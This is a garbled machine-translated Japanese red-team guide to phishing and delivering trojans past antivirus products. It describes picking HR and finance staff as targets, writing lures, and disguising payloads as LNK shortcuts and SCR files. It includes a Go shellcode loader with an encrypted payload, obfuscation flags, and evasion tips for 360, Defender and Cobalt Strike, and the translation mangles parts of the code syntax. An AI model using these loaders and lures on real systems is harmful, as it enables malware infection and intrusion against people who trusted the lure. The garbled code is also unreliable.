簡単な説明
釣りは、攻撃的および防御的な対立における一般的な方法です。攻撃者は通常、法的機関、企業、個人などの信頼できるエンティティに隠れており、被害者を誘い込んで敏感な情報を明らかにしたり、悪意のある事業を実行したりします。彼らはターゲットの傷をすばやく引き裂き、イントラネットにすばやく入力してポイントをブラシをかけることができます。トロイの木馬を提出するとき、彼らはアンチウイルスソフトウェアの回避を検討する必要があります。この記事では、対立を殺すことを避けるために、いくつかの一般的なフィッシング方法とトロイの木馬に焦点を当てます。
情報収集
バッチメールボックスコレクション
https://APP.SNOV.IO/
http://www.skymem.info/
検索エンジン
一般的に、企業の電子メールには電子メールゲートウェイがあり、電子メール配信は払い戻しによって簡単にブロックされるため、メールサーバーによってブロックされていないプライベートメールまたは電子メールを選択する必要があります。
XXで報告されているように、XX募集は一般の電子メールアドレス、関連する構文に直面しています。
site:'xxx.com 'レポート
site:'xxx.com '募集
XX Company Report @126.com
XX Company Recruitment @QQ.com
釣り技術
ソーシャルワーカー釣り
最初はターゲット選択です。ターゲットグループ:HR、マネージャー、財務、および安全性の認識が弱い他の人々が望ましい。それらに対処するために、事前に複数のシナリオセットを準備します。
高い成功率で釣りのためにターゲット企業支店を選択します。発見されないように、言葉と応答の測定について事前に考えてください。本部にいないことをお勧めし、IT情報セキュリティ部門を避けることが最善です。
Sheniuのマスターは、電話で釣りをして信頼を獲得し、WeChatを追加してTrojan Horsesを送ることができます(並外れた心理的資質と適応性が必要です。
メールフィッシング
マスメール(推奨されない、管理者が簡単に発見するか、電子メールゲートウェイでインターセプトされます)
主要な個人用メールアドレスを収集して、方向配信を配信します(推奨され、高度に隠されています)
福祉補助金の発行
現在の問題に従って、さまざまな福祉活動を使用してターゲットユーザーを引き付けてクリックし、フィッシングリンクをQRコードに変換して送信します
履歴書配達
募集と配達履歴書、HRは、多数の履歴書に面しているときにサフィックスを注意深く確認しません
釣りのコピーを書くことができませんか?それは問題ではありません。自動的に生成できる場合は、手作業で使用しないでください。これがChatGptの兄弟のための鶏の脚です
レポートレター
XXX Real-Nameのレポートと苦情、この種の電子メールは通常処理され、すぐにフィードバックされます
ファイニングファイル変装
一般的なヒント
トロイの木馬は、圧縮、パスワードを追加してコンテンツを非表示にする必要があります。
珍しいサフィックスを選択しますが、SCR、COMなどのEXEとして実行できます。
ファイル名の名前は長いです。他のファイルが正しく表示されない場合、プレビュー中に接尾辞が表示されません。
lnk釣り
ターゲットユニットが360 TIANQINGを使用していないことがわかっている場合は、LNKファイルをフィッシングに使用できます(360はインターセプトします)
ショートカットのターゲット位置に記入してください:
%windir%\ system32 \ cmd.exe /c start。\ .__ macos __ \ .__ macos __ \ .__ macos __ \ .__ macos __ \ .__ macos1 __ \ xxx.doc amp; amp; amp; c: \ windows \ explorer.exe '。\ .__ macos __ \ .__ macos __ \ .__ macos1 __ \ fsx.exe'
アイコンの変更パスの選択:
C: \\プログラムファイル(x86)\\ microsoft \\ edge \\アプリケーション
%SystemRoot%\\ System32 \\ imageres.dll
%SystemRoot%\\ System32 \\ shell32.dll
ボックスエラーのヒント
msgboxを実行して「ファイルが破損している」およびその他の混乱するコンテンツをプロンプトします
VBS実装
エラーの再開時に次に再開します
wscript.sleep 2000
msgbox '現在のファイルが破損しているので、ツールを変更して開く 』、64、' tip '
コード実装に移動します
パッケージメイン
輸入(
'github.com/gen2brain/dlgs'
))
func box(){
_、err :=dlgs.info( 'tip'、 '現在のファイルが破損している、開くツールを変更してください')
err!=nil {
パニック(err)
}
}
効果を実現します
ファイルバンドラー
通常のファイルと悪意のあるトロイの木馬にバインドします。実行後、exe自体が削除され、通常のファイルが現在のディレクトリにリリースされ、開かれ、トロイの木馬はC: \ uses \ public \ videosディレクトリの下で実行されるようにリリースされます。
バージョン1.1通常のソフトキル(360、def、タートルなど)バイパス
バージョン1.2追加されたファイルがリリースされた後に自動的に非表示
効果の実現
一般的なソフトキル型タイプ
ソフトキリングタイプのソフトキリング機能ターコイズ
コンピレーションパラメーターには多くの制限があり、ハッシュと文字列の機能が認識されています。静的は動的に実行できます。基本的に検出されて殺されません。一部のGOライブラリは、毒を報告するために呼び出されます。
360
単一の360チェックは高くありません。アンチウイルスを設置した後、あなたの息子は父親になります。殺害力は大幅に改善されています。アンチウイルスは自動的にサンプルをアップロードします。クラウドがしばらくリリースされた後、簡単に検出して殺すことができます。個別の荷重方法を使用し、馬の時間を延長するためにアンチサンドボックスコードを使用することをお勧めします。
360コアクリスタル
オープニング後、全体的な殺害パフォーマンスに大きな影響はありません。プロセスインジェクションを使用してシェルコードのロードを避けてください。コマンドを実行して、BOFプラグインを交換用に使用します。
ディフェンダー
Cobaltstrikeルールを追加しましたが、ステージレスを使用することをお勧めします。これはステージよりも優れています。 Sleep_Maskパラメーターはバージョン4.5で有効になり、殺害能力が向上し、大きなファイルの検出率は高くありません。
基本的な負荷方法
以下は基本的な例であり、暗号化、復号化、負荷の機能を実装するだけです。
最初にPythonスクリプトを使用して、payload.cファイルを暗号化します
base64をインポートします
OriginalShellCode=b '\ xfc \ xe8 \ x89 \ x00'
encryptedShellCode=bytes([byte ^0xff for riginalshellcode]))
encodedShellCode=base64.B64Encode(encryptedShellCode).Decode( 'utf-8')
print(encodedshellcode)
コンパイルする出力コンテンツの暗号化されたシェルコードを入力します
パッケージメイン
輸入(
「エンコード/base64」
「syscall」
「安全でない」
'github.com/lxn/win'
'golang.org/x/sys/windows'
))
func main(){
//base64およびxorを介してシェルコードコンテンツを復号化します
win.showwindow(win.getConsoleWindow()、win.sw_hide)
暗号化されたシェルコード:='IZ/0K4EFV3D3DZYMNICLJIE/RQUSP/WLFZ/8JW8 //CVXP/WFJZ94WD09OKA+P0A320SWC3VVZA2VNO 2DRAVMIU2JJ/8JVF8NUS/DQCR9G9VFHUCBFZ3/3D3DZ/YTWMQP3ANJ/W/BZP8N1C+DQEUIT+IVJB8Q/8/8/DQE6RR4/RRFBNRA+EJZ2TK+XAOY7DDTTFZJOPGKVLZP8N1M+DQCRNVX7PZP8N2S+DQC2/HP/P3ANNI82 lykultyvni42lt/0m1c2jyixlzyult/8zz44iiikh13pskahhkegriddzyhpv6ro/6gns07affwiki/r R4/rqu6rrc6rr42jzynns1niq7qikke5hd3d3d3d3d3d3d3c6rr42jjymhhhhhhhhhhhhhhjbnip7osyiina4sp /62P0ALPV6VOKA+JR93RBFZJSU2ZZWIWUYIOJ/+ST/0TCCDFSG //OBNAHD3DX13H/DED3C+/PC2ZNN3D3 c2zqix6fgioj/+hj/+rt6wt4iiiig6rr4ljtbnwnfvdiii8rd48up2d3c/ilh48/t2d3ecxj6tdnd3n/w IIIHYBAMWAX4UWB0EWB0GAHIFDLPEWURZRVKEGX4AWROEGVKDBHDHI6T+16T+1FOVAU170U01IYZBPFAY Y1/2AR3+CTAXWG13PLFZUVYPDJEADYEEGVANHASGQNNVZOYDR4BGXZYQLLHV18GHHKTGAAETFCITFCG HHKTGAAEVZKJV0JZRKXXEHLAIIRMVWUBTUZZQFLCXLCWEHQCGFHFR0DDRKZHQFCXHGUSERGPWEZZR1DFF G9EEN138A3JHF8SUTLPTSAKGLHPCZEFAWU1GBBWMBCC5SPMVMVYH80FQMODP2ALXGMYPFSNWG7SVEI0OY byhaggyf4i4kottoz1mqel3bv8empa2kc6kl9yo3xp4ukic3tfp ++ yrqp8gydc1aq3kbknstnkpu3rsj ovxltad3jo3ibml+cbpdbioubhepdlxtvlhd+oz/ndxswjf1y7hgk70678/6spezl2vdgaufa17kfdb ouq6cq9oldou5gfzp42aycsmoqmwd8xnc2yyfc1sgioj9gvs13dzd3ns93z3d3ns43d3d3ns0v0yssiki /5CQKP/6QP/6GP/6TNS93V3D3PV6ONS1L4F6VIKI/9LNX8RCDWRH8CD92TPK3AQAVLY8/CND3D3D3CNTJ8I IOIIBBIFAR4UELOSAXMVQEMZEVPGREDAQEDHT0ZPWQQFWRYHHHAAWQMSGRQSGQMUBFKUGBP3COKWDW=='
decodedshellcode、_ :=base64.stdencoding.decodestring(encryptedshellcode)
i :=0;私はlt; len(decodedshellcode); i ++ {
decodedshellcode [i] ^=0x77
}
//kernel32.dllでvirtualAlloc関数を取得します
kernel32、_ :=syscall.loaddll( 'kernel32.dll')
virtualAlloc、_ :=kernel32.findproc( 'virtualAlloc')
//メモリを割り当て、シェルコードコンテンツを書き込みます
allocsize :=uintptr(len(decodedshellcode))
mem、_、_ :=virtualAlloc.call(uintptr(0)、allocsize、windows.mem_commit | windows.mem_reserve、windows.page_execute_readwrite)
mem==0の場合{
パニック( 'VirtualAlloc Failed')
}
バッファ:=(*[0x1_000_000] byte)(unsafe.pointer(mem))[:allocsize:allocsize]
コピー(バッファ、デコードシェルコード)
//シェルコードを実行します
syscall.syscall(mem、0、0、0、0)
}
ユニバーサルソフトキルスキル
リモートロードまたはファイル分離の読み込みが推奨されますが、いくつかの欠点もあります。前者はセキュリティデバイスによって追跡またはブロックされる場合があり、後者は2つのファイルが権利保護により適していることを要求しています。
ガベージコードの充填、シェルコードをロードする前に無害な操作を実行し、サンドボックスとソフトキル入力判断を妨害し、実行した遅延またはプログラムのボリュームを増やして検出をバイパスします。
ニッチ言語を選択して、ローダー機能を作成および作成します。 CSに加えて、ツールはVSHELLやその他の自己執筆C2を使用することもできます。
殺しないで一つのクリック生成
私は恥知らずで、githubプロジェクトを推奨するためにアムウェイに来ます。 ahem、それが大丈夫だと思うなら、あなたは星をクリックすることができます⭐
殺されていないマスター・ワン・チャオの傑作は、悪魔攻撃3https://github.com/wangfly-me/loaderflyによって変更されました
サウザンドマシン - レッドチームトロイの木馬無料殺人馬はhttps://github.com/pizz33/qianjiを自動的に生成します
コンパイルパラメーターの影響
GO:
- レースレース検出コンピレーション
-ldflags '-s -w'コンパイル情報を削除します
-ldflags '-h Windowsgui'ウィンドウを非表示にします
Garble(難解ライブラリ):
- 追加の情報を削除します
- 文学的混乱テキスト
-seed=base64によってエンコードされたランダムランダムシード
たとえば、無害なコードをコンパイルする場合、文字パラメーターを使用します。 360は引き続き毒を報告します。追加しないと、毒を報告しません。
パッケージメイン
func main(){
//乗算する2つの数字
num1 :=5
Num2 :=3
結果:=0
//ループにはAを使用して乗算を実行します
i :=0;私はlt; num2; i ++ {
結果+=num1
}
}
-h Windows GUIパラメーターは、免除に大きな影響を与えます。ブラックボックスを非表示にする必要がある場合は、次のコードを使用してそれを置き換えることができます(ただし、Win11にはまだブラックボックスがあります)
パッケージメイン
'github.com/lxn/win'をインポート
func main(){
win.showwindow(win.getConsoleWindow()、win.sw_hide)
}
func box()int {
FreeConsolle :=syscall.newlazydll( 'kernel32.dll')。newproc( 'freeconsole')
freeconsole.call()
0を返します
}
func main(){
箱()
静的機能処理
obfusal
GO LOWバージョン3https://GITHUB.com/boy-hack/go-strip
より高いバージョンhttps://github.com/burrowers/garbleに行きます
マングルは文字列を置き換えます
https://github.com/optiv/mangle
mangle.exe -i xxx.exe -m -o out.exe
マングル処理の前後の比較は、コンパイルされたGoの特徴文字列がランダムな文字に置き換えられていることがわかります。
base64エンコード変数
CMD :=exec.command( 'rundll32.exe'、 'xxx')
キー文字列はbase64用にエンコードされ、対応する位置で変数値を置き換えます
EncodedCommand :='cnvuzgxsmziuzxhl'
Encodedarguments :='mtextdgfyda=='
//base64エンコードされたコマンドとパラメーターをデコードします
decodedCommand、_ :=base64.stdencoding.decodestring(encodedCommand)
decodedarguments、_ :=base64.stdencoding.decodestring(encodedarguments)
cmd :=exec.command(string(decodedcommand)、string(decodedarguments)))
QVMバイパス
リソースを追加
1。画像タグ名著作権などの情報の追加次のアイテムを使用してワンクリックを追加できます
https://github.com/pizz33/360qvm_bypass
https://github.com/s9mf/my_script_tools/tree/main/360qvm_bypass-public
https://github.com/langsasec/sign-sacker
行動特性
シェルコードを直接実行し、通常はQVMを直接報告します
パッケージメイン
輸入(
「syscall」
「安全でない」
))
var(
ntdll=syscall.mustloaddll( 'ntdll.dll')
virtualAlloc=kernel32.mustfindproc( 'virtualAlloc')
rtlcopymemory=ntdll.mustfindproc( 'rtlcopymemory')
))
const(
mem_commit=0x1000
mem_reserve=0x2000
page_execute_readwrite=0x40
))
func main(){
addr、_、err :=virtualAlloc.call(0、uintptr(len(decryt))、mem_commit | mem_reserve、page_execute_readwrite)
err!=nil amp; amp; err.error()!='操作が正常に完了しました。 {
syscall.exit(0)
}
_、_、err=rtlcopymemory.call(addr、(uintptr)(unsafe.pointer(amp; decryt [0]))、uintptr(len(decryt))))
err!=nil amp; amp; err.error()!='操作が正常に完了しました